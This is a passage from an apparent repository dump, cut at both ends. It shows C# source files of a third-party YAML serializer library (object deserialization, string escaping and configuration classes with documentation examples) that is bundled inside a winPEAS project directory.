TypeUtils.GetType(tag.Substring(1));\n            }\n        }\n\n        object NodeToObjectInternal(YamlNode node, Type expected, Dictionary<YamlNode, object> appeared)\n        {\n            if ( appeared.ContainsKey(node) )\n                return appeared[node];\n\n            object obj = null;\n            \n            // Type resolution\n            Type type = expected == typeof(object) ? null : expected;\n            Type fromTag = TagResolver.TypeFromTag(node.Tag);\n            if ( fromTag == null )\n                fromTag = TypeFromTag(node.Tag);\n            if ( fromTag != null && type != fromTag && fromTag.IsClass && fromTag != typeof(string) )\n                type = fromTag;\n            if ( type == null )\n                type = fromTag;\n\n            // try TagResolver\n            if ( type == fromTag && fromTag != null )\n                if ( node is YamlScalar && TagResolver.Decode((YamlScalar)node, out obj) )\n                    return obj;\n\n            if ( node.Tag == YamlNode.DefaultTagPrefix + \"null\" ) {\n                obj = null;\n            } else\n            if ( node is YamlScalar ) {\n                obj = ScalarToObject((YamlScalar)node, type);\n            } else\n            if ( node is YamlMapping ) {\n                obj = MappingToObject((YamlMapping)node, type, null, appeared);\n            } else\n            if ( node is YamlSequence ) {\n                obj = SequenceToObject((YamlSequence)node, type, appeared);\n            } else\n                throw new NotImplementedException();\n\n            if ( !appeared.ContainsKey(node) )\n                if(obj != null && obj.GetType().IsClass && ( !(obj is string) || ((string)obj).Length >= 1000 ) )\n                    appeared.Add(node, obj);\n            \n            return obj;\n        }\n\n        object ScalarToObject(YamlScalar node, Type type)\n        {\n            if ( type == null )\n                throw new FormatException(\"Could not find a type '{0}'.\".DoFormat(node.Tag));\n\n            // To accommodate the !!int and !!float encoding, all \"_\"s in integer and floating point values\n            // are simply neglected.\n            if ( type == typeof(byte) || type == typeof(sbyte) || type == typeof(short) || type == typeof(ushort) || \n                 type == typeof(int) || type == typeof(uint) || type == typeof(long) || type == typeof(ulong) \n                 || type == typeof(float) || type == typeof(decimal) ) \n                return config.TypeConverter.ConvertFromString(node.Value.Replace(\"_\", \"\"), type);\n\n            if ( type.IsEnum || type.IsPrimitive || type == typeof(char) || type == typeof(bool) ||\n                 type == typeof(string) || EasyTypeConverter.IsTypeConverterSpecified(type) )\n                return config.TypeConverter.ConvertFromString(node.Value, type);\n\n            if ( type.IsArray ) {\n                // Split dimension from base64 strings\n                var s = node.Value;\n                var regex = new Regex(@\" *\\[([0-9 ,]+)\\][\\r\\n]+((.+|[\\r\\n])+)\");\n                int[] dimension;\n                byte[] binary;\n                var elementSize = Marshal.SizeOf(type.GetElementType());\n                if ( type.GetArrayRank() == 1 ) {\n                    binary = System.Convert.FromBase64CharArray(s.ToCharArray(), 0, s.Length);\n                    var arrayLength = binary.Length / elementSize;\n                    dimension = new int[] { arrayLength };\n                } else {\n                    var m = regex.Match(s);\n                    if ( !m.Success )\n                        throw new FormatException(\"Irregal binary array\");\n                    // Create array from dimension\n                    dimension = m.Groups[1].Value.Split(',').Select(n => Convert.ToInt32(n)).ToArray();\n                    if ( type.GetArrayRank() != dimension.Length )\n                        throw new FormatException(\"Irregal binary array\");\n                    // Fill values\n                    s = m.Groups[2].Value;\n                    binary = System.Convert.FromBase64CharArray(s.ToCharArray(), 0, s.Length);\n                }\n                var paramType = dimension.Select(n => typeof(int) /* n.GetType() */).ToArray();\n                var array = (Array)type.GetConstructor(paramType).Invoke(dimension.Cast<object>().ToArray());\n                if ( binary.Length != array.Length * elementSize )\n                    throw new FormatException(\"Irregal binary: data size does not match to array dimension\");\n                int j = 0;\n                for ( int i = 0; i < array.Length; i++ ) {\n                    var p = Marshal.UnsafeAddrOfPinnedArrayElement(array, i);\n                    Marshal.Copy(binary, j, p, elementSize);\n                    j += elementSize;\n                }\n                return array;\n            } \n\n            if ( node.Value == \"\" ) {\n                return config.Activator.Activate(type);\n            } else {\n                return TypeDescriptor.GetConverter(type).ConvertFromString(node.Value);\n            }\n        }\n\n        object SequenceToObject(YamlSequence seq, Type type, Dictionary<YamlNode, object> appeared)\n        {\n            if ( type == null )\n                type = typeof(object[]);\n\n            if ( type.IsArray ) {\n                var lengthes= new int[type.GetArrayRank()];\n                GetLengthes(seq, 0, lengthes);\n                var array = (Array)type.GetConstructor(lengthes.Select(l => typeof(int) /* l.GetType() */).ToArray())\n                               .Invoke(lengthes.Cast<object>().ToArray());\n                appeared.Add(seq, array);\n                var indices = new int[type.GetArrayRank()];\n                SetArrayElements(array, seq, 0, indices, type.GetElementType(), appeared);\n                return array;\n            } else {\n                throw new NotImplementedException();\n            }\n        }\n\n        void SetArrayElements(Array array, YamlSequence seq, int i, int[] indices, Type elementType, Dictionary<YamlNode, object> appeared)\n        {\n            if ( i < indices.Length - 1 ) {\n                for ( indices[i] = 0; indices[i] < seq.Count; indices[i]++ )\n                    SetArrayElements(array, (YamlSequence)seq[indices[i]], i + 1, indices, elementType, appeared);\n            } else {\n                for ( indices[i] = 0; indices[i] < seq.Count; indices[i]++ )\n                    array.SetValue(NodeToObjectInternal(seq[indices[i]], elementType, appeared), indices);\n            }\n        }\n\n        private static void GetLengthes(YamlSequence seq, int i, int[] lengthes)\n        {\n            lengthes[i] = Math.Max(lengthes[i], seq.Count);\n            if ( i < lengthes.Length - 1 )\n                for ( int j = 0; j < seq.Count; j++ )\n                    GetLengthes((YamlSequence)seq[j], i + 1, lengthes);\n        }\n\n        object MappingToObject(YamlMapping map, Type type, object obj, Dictionary<YamlNode, object> appeared)\n        {\n            // Naked !!map is constructed as Dictionary<object, object>.\n            if ( ( ( map.ShorthandTag() == \"!!map\" && type == null ) || type == typeof(Dictionary<object,object>) ) && obj == null ) {\n                var dict = new Dictionary<object, object>();\n                appeared.Add(map, dict);\n                foreach ( var entry in map ) \n                    dict.Add(NodeToObjectInternal(entry.Key, null, appeared), NodeToObjectInternal(entry.Value, null, appeared));\n                return dict;\n            }\n\n            if ( obj == null ) {\n                obj = config.Activator.Activate(type);\n                appeared.Add(map, obj);\n            } else {\n                if ( appeared.ContainsKey(map) )\n                    throw new InvalidOperationException(\"This member is not writeable: {0}\".DoFormat(obj.ToString()));\n            }\n\n            var access = ObjectMemberAccessor.FindFor(type);\n            foreach(var entry in map){\n                if ( obj == null )\n                    throw new InvalidOperationException(\"Object is not initialized\");\n                var name = (string)NodeToObjectInternal(entry.Key, typeof(string), appeared);\n                switch ( name ) {\n                case \"ICollection.Items\":\n                    if ( access.CollectionAdd == null )\n                        throw new FormatException(\"{0} is not a collection type.\".DoFormat(type.FullName));\n                    access.CollectionClear(obj);                                           \n                    foreach(var item in (YamlSequence)entry.Value)\n                        access.CollectionAdd(obj, NodeToObjectInternal(item, access.ValueType, appeared));\n                    break;\n                case \"IDictionary.Entries\":\n                    if ( !access.IsDictionary )\n                        throw new FormatException(\"{0} is not a dictionary type.\".DoFormat(type.FullName));\n                    var dict = obj as IDictionary;\n                    dict.Clear();\n                    foreach ( var child in (YamlMapping)entry.Value )\n                        dict.Add(NodeToObjectInternal(child.Key, access.KeyType, appeared), NodeToObjectInternal(child.Value, access.ValueType, appeared));\n                    break;\n                default:\n                        if (!access.ContainsKey(name))\n                            // ignoring non existing properties\n                            //throw new FormatException(\"{0} does not have a member {1}.\".DoFormat(type.FullName, name));\n                            continue;\n                    switch ( access[name].SerializeMethod ) {\n                    case YamlSerializeMethod.Assign:\n                        access[obj, name] = NodeToObjectInternal(entry.Value, access[name].Type, appeared);\n                        break;\n                    case YamlSerializeMethod.Content:\n                        MappingToObject((YamlMapping)entry.Value, access[name].Type, access[obj, name], appeared);\n                        break;\n                    case YamlSerializeMethod.Binary:\n                        access[obj, name] = ScalarToObject((YamlScalar)entry.Value, access[name].Type);\n                        break;\n                    default:\n                        throw new InvalidOperationException(\n                            \"Member {0} of {1} is not serializable.\".DoFormat(name, type.FullName));\n                    }\n                    break;\n                }\n            }\n            return obj;\n        }\n\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/YamlSerializer/YamlDoubleQuoteEscaping.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\n\nusing System.Text.RegularExpressions;\n\nnamespace System.Yaml\n{\n    /// <summary>\n    /// Extend string object to have .DoubleQuoteEscape() / .DoubleQuoteUnescape().\n    /// </summary>\n    internal static class StringYamlDoubleQuoteEscapeExtention\n    {\n        /// <summary>\n        /// Escape control codes with YAML double quoted string format.\n        /// </summary>\n        /// <param name=\"s\"></param>\n        /// <returns></returns>\n        public static string YamlDoubleQuoteEscape(this string s)\n        {\n            return YamlDoubleQuoteEscaping.Escape(s);\n        }\n        /// <summary>\n        /// Unescape control codes escaped with YAML double quoted string format.\n        /// </summary>\n        /// <param name=\"s\"></param>\n        /// <returns></returns>\n        public static string YamlDoubleQuoteUnescape(this string s)\n        {\n            return YamlDoubleQuoteEscaping.Unescape(s);\n        }\n    }\n\n    /// <summary>\n    /// YAML style double quoted string escape / unescape.\n    /// </summary>\n    internal static class YamlDoubleQuoteEscaping\n    {\n        const int controlCodeMax = 0x1f;\n        static string[] controlCodes = new string[controlCodeMax + 1] {\n                @\"\\0\", @\"\\x01\", @\"\\x02\", @\"\\x03\", @\"\\x04\", @\"\\x05\", @\"\\x06\", @\"\\a\", \n                @\"\\b\", @\"\\t\", @\"\\n\", @\"\\v\", @\"\\f\", @\"\\r\", @\"\\x0e\", @\"\\x0f\", \n                @\"\\x10\", @\"\\x11\", @\"\\x12\", @\"\\x13\", @\"\\x14\", @\"\\x15\", @\"\\x16\", @\"\\x17\", \n                @\"\\x18\", @\"\\x19\", @\"\\x1a\", @\"\\e\", @\"\\x1c\", @\"\\x1d\", @\"\\x1e\", @\"\\x1f\", \n        };\n        static Dictionary<char, string> escapeTable = new Dictionary<char, string>();\n        static Regex escapeRegexp = null;\n        static Regex escapeNonprintable;\n\n        static Dictionary<string, string> unescapeTable = new Dictionary<string, string>();\n        static Regex unescapeRegexp = null;\n\n        /// <summary>\n        /// Initialize tables\n        /// </summary>\n        static YamlDoubleQuoteEscaping()\n        {\n\n            // Create (additional) escaping table\n            escapeTable['\\\\'] = @\"\\\\\";\n            escapeTable['\"'] = \"\\\\\\\"\";\n            escapeTable['/'] = @\"\\/\";\n            escapeTable['\\x85'] = @\"\\N\";\n            escapeTable['\\xa0'] = @\"\\_\";\n            escapeTable['\\u2028'] = @\"\\L\";\n            escapeTable['\\u2029'] = @\"\\P\";\n            \n            // Create escaping regexp\n            escapeRegexp = new Regex(@\"[\\x00-\\x1f\\/\\x85\\xa0\\u2028\\u2029\" + \"\\\"]\");\n            escapeNonprintable = new Regex(@\"[\\x7f-\\x84\\x86-\\x9f\\ud800-\\udfff\\ufffe\\uffff]\");\n\n            // Create unescaping table\n            for ( char c = '\\0'; c < controlCodes.Length; c++ )\n                unescapeTable[controlCodes[c]] = c.ToString();\n            foreach ( var c in escapeTable.Keys )\n                unescapeTable[escapeTable[c]] = c.ToString();\n\n            // Create unescaping regex\n            var pattern = \"\";\n            unescapeTable.Keys.ToList().ForEach(esc => {\n                if ( pattern != \"\" )\n                    pattern += \"|\";\n                pattern += Regex.Escape(esc);\n            });\n            unescapeRegexp = new Regex(pattern +\n                @\"|\\\\x[0-9a-fA-F]{2}|\\\\u[0-9a-fA-F]{4}|\\\\U[0-9a-fA-F]{8}\");\n        }\n\n        /// <summary>\n        /// Escape control codes, double quotations, backslashes in the YAML double quoted string format\n        /// </summary>\n        public static string Escape(string s)\n        {\n            s = s.Replace(@\"\\\", @\"\\\\\");\n            s = escapeRegexp.Replace(s, escapeChar);\n            return escapeNonprintable.Replace(s, m => {\n                var c = m.Value[0];\n                return c < 0x100 ? string.Format(@\"\\x{0:x2}\", (int)c) : string.Format(@\"\\u{0:x4}\", (int)c);\n            });\n        }\n        static string escapeChar(Match m)\n        {\n            var c = m.Value[0];\n            return c < controlCodes.Length ? controlCodes[c] : escapeTable[c];\n        }\n\n        /// <summary>\n        /// Unescape control codes, double quotations, backslashes escape in the YAML double quoted string format\n        /// </summary>\n        public static string Unescape(string s)\n        {\n            return unescapeRegexp.Replace(s, unescapeChar);\n        }\n        static string unescapeChar(Match m)\n        {\n            string s;\n            switch ( m.Value[1] ) {\n            case 'x':\n            case 'u':\n            case 'U':\n                s = ( (char)Convert.ToInt32(\"0x\" + m.Value.Substring(2)) ).ToString();\n                break;\n            default:\n                s = unescapeTable[m.Value];\n                break;\n            }\n            return s;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/YamlSerializer/YamlNode.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\n\nusing System.IO;\nusing System.ComponentModel;\nusing System.Text.RegularExpressions;\nusing System.Globalization;\n\nnamespace System.Yaml\n{\n    /// <summary>\n    /// <para>Configuration to customize YAML serialization.</para>\n    /// <para>An instance of this class can be passed to the serialization\n    /// methods, such as <see cref=\"YamlNode.ToYaml(YamlConfig)\">YamlNode.ToYaml(YamlConfig)</see> and\n    /// <see cref=\"YamlNode.FromYaml(Stream,YamlConfig)\">YamlNode.FromYaml(Stream,YamlConfig)</see> or\n    /// it can be assigned to <see cref=\"YamlNode.DefaultConfig\">YamlNode.DefaultConfig</see>.\n    /// </para>\n    /// </summary>\n    public class YamlConfig\n    {\n        /// <summary>\n        /// If true, all line breaks in the node value are normalized into \"\\r\\n\" \n        /// (= <see cref=\"LineBreakForOutput\"/>) when serialize and line breaks \n        /// that are not escaped in YAML stream are normalized into \"\\n\"\n        /// (= <see cref=\"LineBreakForInput\"/>.\n        /// If false, the line breaks are preserved. Setting this option false violates \n        /// the YAML specification but sometimes useful. The default is true.\n        /// </summary>\n        /// <remarks>\n        /// <para>The YAML sepcification requires a YAML parser to normalize every line break that \n        /// is not escaped in a YAML stream, into a single line feed \"\\n\" when it parse a YAML stream. \n        /// But this is not convenient in some cases, especially under Windows environment, where \n        /// the system default line break \n        /// is \"\\r\\n\" instead of \"\\n\".</para>\n        /// \n        /// <para>This library provides two workarounds for this problem.</para>\n        /// <para>One is setting <see cref=\"NormalizeLineBreaks\"/> false. It disables the line break\n        /// normalization. The line breaks are serialized into a YAML stream as is and \n        /// those in the YAML stream are deserialized as is.</para>\n        /// <para>Another is setting <see cref=\"LineBreakForInput\"/> \"\\r\\n\". Then, the YAML parser\n        /// normalizes all line breaks into \"\\r\\n\" instead of \"\\n\".</para>\n        /// <para>Note that although these two options are useful in some cases,\n        /// they makes the YAML parser violate the YAML specification. </para>\n        /// </remarks>\n        /// <example>\n        /// <code>\n        /// // A string containing line breaks \"\\n\\r\" and \"\\r\".\n        /// YamlNode node = \"a\\r\\n  b\\rcde\";\n        /// \n        /// // By default conversion, line breaks are escaped in a double quoted string.\n        /// var yaml = node.ToYaml();\n        /// // %YAML 1.2\n        /// // ---\n        /// // \"a\\r\\n\\\n        /// // \\  b\\r\\\n        /// // cde\"\n        /// // ...\n        /// \n        /// // \"%YAML 1.2\\r\\n---\\r\\n\\\"a\\\\r\\\\n\\\\\\r\\n\\  b\\\\r\\\\\\r\\ncde\\\"\\r\\n...\\r\\n\"\n        /// \n        /// // Such a YAML stream is not pretty but is capable to preserve \n        /// // original line breaks even when the line breaks of the YAML stream\n        /// // are changed (for instance, by some editor) between serialization \n        /// // and deserialization.\n        /// var restored = YamlNode.FromYaml(yaml)[0];\n        /// // \"a\\r\\n  b\\rcde\"      // equivalent to the original\n        /// \n        /// yaml = yaml.Replace(\"\\r\\n\", \"\\n\").Replace(\"\\r\", \"\\n\");\n        /// var restored = YamlNode.FromYaml(yaml)[0];\n        /// // \"a\\r\\n  b\\rcde\"      // still equivalent to the original\n        /// \n        /// // By setting ExplicitlyPreserveLineBreaks false, the output becomes\n        /// // much prettier.\n        /// YamlNode.DefaultConfig.ExplicitlyPreserveLineBreaks = false;\n        /// yaml = node.ToYaml();\n        /// // %YAML 1.2\n        /// // ---\n        /// // |-2\n        /// //   a\n        /// //     b\n        /// //   cde\n        /// // ...\n        /// \n        /// // line breaks are nomalized to \"\\r\\n\" (= YamlNode.DefaultConfig.LineBreakForOutput)\n        /// // \"%YAML 1.2\\r\\n---\\r\\n|-2\\r\\n  a\\r\\n    b\\r\\ncde\\r\\n...\\r\\n\"\n        /// \n        /// // line breaks are nomalized to \"\\n\" (= YamlNode.DefaultConfig.LineBreakForInput)\n        /// var restored = YamlNode.FromYaml(yaml)[0];\n        /// // \"a\\n  b\\ncde\"\n        /// \n        /// \n        /// // Disable line break normalization.\n        /// YamlNode.DefaultConfig.NormalizeLineBreaks = false;\n        /// yaml = node.ToYaml();\n        /// \n        /// // line breaks are not nomalized\n        /// // \"%YAML 1.2\\r\\n---\\r\\n|-2\\r\\n  a\\r\\n    b\\rcde\\r\\n...\\r\\n\"\n        /// \n        /// // Unless line breaks in YAML stream is preserved, original line\n        /// // breaks can be restored.\n        /// restored = YamlNode.FromYaml(yaml)[0];\n        /// // \"a\\r\\n  b\\rcde\"      // equivalent to the original\n        ///                     \n        /// yaml = yaml.Replace(\"\\r\\n\", \"\\n\").Replace(\"\\r\", \"\\n\");\n        /// restored = YamlNode.FromYaml(yaml)[0];\n        /// // \"a\\n  b\\ncde\"        // original line breaks are lost\n        /// </code>\n        /// </example>\n        public bool NormalizeLineBreaks = true;\n        /// <summary>\n        /// If true, all <see cref=\"YamlScalar\"/>s whose text expression contains line breaks \n        /// will be presented as double quoted texts, where the line break characters are escaped \n        /// by back slash as \"\\\\n\" and \"\\\\r\". The default is true.\n        /// </summary>\n        /// <remarks>\n        /// <para>The escaped line breaks makes the YAML stream hard to read, but is required to \n        /// prevent the line break characters be normalized by the YAML parser; the YAML \n        /// sepcification requires a YAML parser to normalize all line breaks that are not escaped\n        /// into a single line feed \"\\n\" when it parse a YAML source.</para>\n        /// \n        /// <para>\n        /// If the preservation of line breaks are not required, set this value false.\n        /// </para>\n        /// \n        /// <para>Then, whenever it is possible, the <see cref=\"YamlNode\"/>s are presented\n        /// as literal style text, where the line breaks are not escaped. This results in\n        /// a much prettier output in the YAML stream.</para>\n        /// </remarks>\n        /// <example>\n        /// <code>\n        /// // A string containing line breaks \"\\n\\r\" and \"\\r\".\n        /// YamlNode node = \"a\\r\\n  b\\rcde\";\n        /// \n        /// // By default conversion, line breaks are escaped in a double quoted string.\n        /// var yaml = node.ToYaml();\n        /// // %YAML 1.2\n        /// // ---\n        /// // \"a\\r\\n\\\n        /// // \\  b\\r\\\n        /// // cde\"\n        /// // ...\n        /// \n        /// // \"%YAML 1.2\\r\\n---\\r\\n\\\"a\\\\r\\\\n\\\\\\r\\n\\  b\\\\r\\\\\\r\\ncde\\\"\\r\\n...\\r\\n\"\n        /// \n        /// // Such a YAML stream is not pretty but is capable to preserve \n        /// // original line breaks even when the line breaks of the YAML stream\n        /// // are changed (for instance, by some editor) between serialization \n        /// // and deserialization.\n        /// var restored = YamlNode.FromYaml(yaml)[0];\n        /// // \"a\\r\\n  b\\rcde\"      // equivalent to the original\n        /// \n        /// yaml = yaml.Replace(\"\\r\\n\", \"\\n\").Replace(\"\\r\", \"\\n\");\n        /// var restored = YamlNode.FromYaml(yaml)[0];\n        /// // \"a\\r\\n  b\\rcde\"      // still equivalent to the original\n        /// \n        /// // By setting ExplicitlyPreserveLineBreaks false, the output becomes\n        /// // much prettier.\n        /// YamlNode.DefaultConfig.ExplicitlyPreserveLineBreaks = false;\n        /// yaml = node.ToYaml();\n        /// // %YAML 1.2\n        /// // ---\n        /// // |-2\n        /// //   a\n        /// //     b\n        /// //   cde\n        /// // ...\n        /// \n        /// // line breaks are nomalized to \"\\r\\n\" (= YamlNode.DefaultConfig.LineBreakForOutput)\n        /// // \"%YAML 1.2\\r\\n---\\r\\n|-2\\r\\n  a\\r\\n    b\\r\\ncde\\r\\n...\\r\\n\"\n        /// \n        /// // line breaks are nomalized to \"\\n\" (= YamlNode.DefaultConfig.LineBreakForInput)\n        /// var restored = YamlNode.FromYaml(yaml)[0];\n        /// // \"a\\n  b\\ncde\"\n        /// \n        /// \n        /// // Disable line break normalization.\n        /// YamlNode.DefaultConfig.NormalizeLineBreaks = false;\n        /// yaml = node.ToYaml();\n        /// \n        /// // line breaks are not nomalized\n        /// // \"%YAML 1.2\\r\\n---\\r\\n|-2\\r\\n  a\\r\\n    b\\rcde\\r\\n...\\r\\n\"\n        /// \n        /// // Unless line breaks in YAML stream is preserved, original line\n        /// // breaks can be restored.\n        /// restored = YamlNode.FromYaml(yaml)[0];\n        /// // \"a\\r\\n  b\\rcde\"      // equivalent to the original\n        ///                     \n        /// yaml = yaml.Replace(\"\\r\\n\", \"\\n\").Replace(\"\\r\", \"\\n\");\n        /// restored = YamlNode.FromYaml(yaml)[0];\n        /// // \"a\\n  b\\ncde\"        // original line breaks are lost\n        /// </code>\n        /// </example>\n        public bool ExplicitlyPreserveLineBreaks = true;\n        /// <summary>\n        /// Line break to be used when <see cref=\"YamlNode\"/> is presented in YAML stream. \n        /// \"\\r\", \"\\r\\n\", \"\\n\" are allowed. \"\\r\\n\" is defalut.\n        /// </summary>\n        /// <example>\n        /// <code>\n        /// // A string containing line breaks \"\\n\\r\" and \"\\r\".\n        /// YamlNode node = \"a\\r\\n  b\\rcde\";\n        /// \n        /// // By default conversion, line breaks are escaped in a double quoted string.\n        /// var yaml = node.ToYaml();\n        /// // %YAML 1.2\n        /// // ---\n        /// // \"a\\r\\n\\\n        /// // \\  b\\r\\\n        /// // cde\"\n        /// // ...\n        /// \n        /// // \"%YAML 1.2\\r\\n---\\r\\n\\\"a\\\\r\\\\n\\\\\\r\\n\\  b\\\\r\\\\\\r\\ncde\\\"\\r\\n...\\r\\n\"\n        /// \n        /// // Such a YAML stream is not pretty but is capable to preserve \n        /// // original line breaks even when the line breaks of the YAML stream\n        /// // are changed (for instance, by some editor) between serialization \n        /// // and deserialization.\n        /// var restored = YamlNode.FromYaml(yaml)[0];\n        /// // \"a\\r\\n  b\\rcde\"      // equivalent to the original\n        /// \n        /// yaml = yaml.Replace(\"\\r\\n\", \"\\n\").Replace(\"\\r\", \"\\n\");\n        /// var restored = YamlNode.FromYaml(yaml)[0];\n        /// // \"a\\r\\n  b\\rcde\"      // still equivalent to the original\n        /// \n        /// // By setting ExplicitlyPreserveLineBreaks false, the output becomes\n        /// // much prettier.\n        /// YamlNode.DefaultConfig.ExplicitlyPreserveLineBreaks = false;\n        /// yaml = node.ToYaml();\n        /// // %YAML 1.2\n        /// // ---\n        /// // |-2\n        /// //   a\n        /// //     b\n        /// //   cde\n        /// // ...\n        /// \n        /// // line breaks are nomalized to \"\\r\\n\" (= YamlNode.DefaultConfig.LineBreakForOutput)\n        /// // \"%YAML 1.2\\r\\n---\\r\\n|-2\\r\\n  a\\r\\n    b\\r\\ncde\\r\\n...\\r\\n\"\n        /// \n        /// // line breaks are nomalized to \"\\n\" (= YamlNode.DefaultConfig.LineBreakForInput)\n        /// var restored = YamlNode.FromYaml(yaml)[0];\n        /// // \"a\\n  b\\ncde\"\n        /// \n        /// \n        /// // Disable line break normalization.\n        /// YamlNode.DefaultConfig.NormalizeLineBreaks = false;\n        /// yaml = node.ToYaml();\n        /// \n        /// // line breaks are not nomalized\n        /// // \"%YAML 1.2\\r\\n---\\r\\n|-2\\r\\n  a\\r\\n    b\\rcde\\r\\n...\\r\\n\"\n        /// \n        /// // Unless line breaks in YAML stream is preserved, original line\n        /// // breaks can be restored.\n        /// restored = YamlNode.FromYaml(yaml)[0];\n        /// // \"a\\r\\n  b\\rcde\"      // equivalent to the original\n        ///                     \n        /// yaml = yaml.Replace(\"\\r\\n\", \"\\n\").Replace(\"\\r\", \"\\n\");\n        /// restored = YamlNode.FromYaml(yaml)[0];\n        /// // \"a\\n  b\\ncde\"        // original line breaks are lost\n        /// </code>\n        /// </example>\n        public string LineBreakForOutput = \"\\r\\n\";\n        /// <summary>\n        /// <para>The YAML parser normalizes line breaks in a YAML stream to this value.</para>\n        /// \n        /// <para>\"\\n\" is default, and is the only valid value in the YAML specification. \"\\r\" and \"\\r\\n\" are\n        /// allowed in this library for convenience.</para>\n        /// \n        /// <para>To suppress normalization of line breaks by YAML parser, set <see cref=\"NormalizeLineBreaks\"/> \n        /// false, though it is also violate the YAML specification.</para>\n        /// </summary>\n        /// <remarks>\n        /// <para>The YAML sepcification requires a YAML parser to normalize every line break that \n        /// is not escaped in a YAML stream, into a single line feed \"\\n\" when it parse a YAML stream. \n        /// But this is not convenient in some cases, especially under Windows environment, where \n        /// the system default line break \n        /// is \"\\r\\n\" instead of \"\\n\".</para>\n        /// \n        /// <para>This library provides two workarounds for this problem.</para>\n        /// <para>One is setting <see cref=\"NormalizeLineBreaks\"/> false. It disables the line break\n        /// normalization. The line breaks are serialized into a YAML stream as is and \n        /// those in the YAML stream are deserialized as is.</para>\n        /// <para>Another is setting <see cref=\"LineBreakForInput\"/> \"\\r\\n\". Then, the YAML parser\n        /// normalizes all line breaks into \"\\r\\n\" instead of \"\\n\".</para>\n        /// <para>Note that although these two options are useful in some cases,\n        /// they makes the YAML parser violate the YAML specification. </para>\n        /// </remarks>\n        /// <example>\n        /// <code>\n        /// // A string containing line breaks \"\\n\\r\" and \"\\r\".\n        /// YamlNode node = \"a\\r\\n  b\\rcde\";\n        /// \n        /// // By default conversion, line breaks are escaped in a double quoted string.\n        /// var yaml = node.ToYaml();\n        /// // %YAML 1.2\n        /// // ---\n        /// // \"a\\r\\n\\\n        /// // \\  b\\r\\\n        /// // cde\"\n        /// // ...\n        /// \n        /// // \"%YAML 1.2\\r\\n---\\r\\n\\\"a\\\\r\\\\n\\\\\\r\\n\\  b\\\\r\\\\\\r\\ncde\\\"\\r\\n...\\r\\n\"\n        /// \n        /// // Such a YAML stream is not pretty but is capable to preserve \n        /// // original line breaks even when the line breaks of the YAML stream\n        /// // are changed (for instance, by some editor) between serialization \n        /// // and deserialization.\n        /// var restored = YamlNode.FromYaml(yaml)[0];\n        /// // \"a\\r\\n  b\\rcde\"      // equivalent to the original\n        /// \n        /// yaml = yaml.Replace(\"\\r\\n\", \"\\n\").Replace(\"\\r\", \"\\n\");\n        /// var restored = YamlNode.FromYaml(yaml)[0];\n        /// // \"a\\r\\n  b\\rcde\"      // still equivalent to the original\n        /// \n        /// // By setting ExplicitlyPreserveLineBreaks false, the output becomes\n        /// // much prettier.\n        /// YamlNode.DefaultConfig.ExplicitlyPreserveLineBreaks = false;\n        /// yaml = node.ToYaml();\n        /// // %YAML 1.2\n        /// // ---\n        /// // |-2\n        /// //   a\n        /// //     b\n        /// //   cde\n        /// // ...\n        /// \n        /// // line breaks are nomalized to \"\\r\\n\" (= YamlNode.DefaultConfig.LineBreakForOutput)\n        /// // \"%YAML 1.2\\r\\n---\\r\\n|-2\\r\\n  a\\r\\n    b\\r\\ncde\\r\\n...\\r\\n\"\n        /// \n        /// // line breaks are nomalized to \"\\n\" (= YamlNode.DefaultConfig.LineBreakForInput)\n        /// var restored = YamlNode.FromYaml(yaml)[0];\n        /// // \"a\\n  b\\ncde\"\n        /// \n        /// \n        /// // Disable line break normalization.\n        /// YamlNode.DefaultConfig.NormalizeLineBreaks = false;\n        /// yaml = node.ToYaml();\n        /// \n        /// // line breaks are not nomalized\n        /// // \"%YAML 1.2\\r\\n---\\r\\n|-2\\r\\n  a\\r\\n    b\\rcde\\r\\n...\\r\\n\"\n        /// \n        /// // Unless line breaks in YAML stream is preserved, original line\n        /// // breaks can be restored.\n        /// restored = YamlNode.FromYaml(yaml)[0];\n        /// // \"a\\r\\n  b\\rcde\"      // equivalent to the original\n        ///                     \n        /// yaml = yaml.Replace(\"\\r\\n\", \"\\n\").Replace(\"\\r\", \"\\n\");\n        /// restored = YamlNode.FromYaml(yaml)[0];\n        /// // \"a\\n  b\\ncde\"        // original line breaks are lost\n        /// </code>\n        /// </example>\n        public string LineBreakForInput = \"\\n\";\n        /// <summary>\n        /// If true, tag for the root node is omitted by <see cref=\"System.Yaml.Serialization.YamlSerializer\"/>.\n        /// </summary>\n        public bool OmitTagForRootNode = false;\n        /// <summary>\n        /// If true, the verbatim style of a tag, i.e. !&lt; &gt; is avoided as far as possible.\n        /// </summary>\n        public bool DontUseVerbatimTag = false;\n\n        /// <summary>\n        /// Add a custom tag resolution rule.\n        /// </summary>\n        /// <example>\n        /// <code>\n        /// \n        /// </code>\n        /// </example>\n        /// <typeparam name=\"T\">Type of value.</typeparam>\n        /// <param name=\"tag\">Tag for the value.</param>\n        /// <param name=\"regex\">Pattern to match the value.</param>\n        /// <param name=\"decode\">Method that decode value from <see cref=\"Match\"/> \n        ///     data after matching by <paramref name=\"regex\"/>.</param>\n        /// <param name=\"encode\">Method that encode value to <see cref=\"string\"/>.</param>\n        public void AddRule<T>(string tag, string regex, Func<Match, T> decode, Func<T, string> encode)\n        {\n            TagResolver.AddRule<T>(tag, regex, decode, encode);\n        }           \n        internal YamlTagResolver TagResolver = new YamlTagResolver();\n\n        /// <summary>\n        /// Add an ability of instantiating an instance of a class that has no default constructer.\n        /// </summary>\n        /// <typeparam name=\"T\">Type of the object that is activated by this <paramref name=\"activator\"/>.</typeparam>\n        /// <param name=\"activator\">A delegate that creates an instance of <typeparamref name=\"T\"/>.</param>\n        /// <example>\n        /// <code>\n        /// var serializer= new YamlSerializer();\n        /// \n        /// var yaml =\n        ///   @\"%YAML 1.2\n        ///   ---\n        ///   !System.Drawing.SolidBrush\n        ///   Color: Red\n        ///   ...\n        ///   \";\n        /// \n        /// SolidBrush b = null;\n        /// try {\n        ///   b = (SolidBrush)serializer.Deserialize(yaml)[0];\n        /// } catch(MissingMethodException) {\n        ///   // SolidBrush has no default constructor!\n        /// }\n        /// \n        /// YamlNode.DefaultConfig.AddActivator&lt;SolidBrush&gt;(() => new SolidBrush(Color.Black));\n        /// \n        /// // Now the serializer knows how to activate an instance of SolidBrush.\n        /// b = 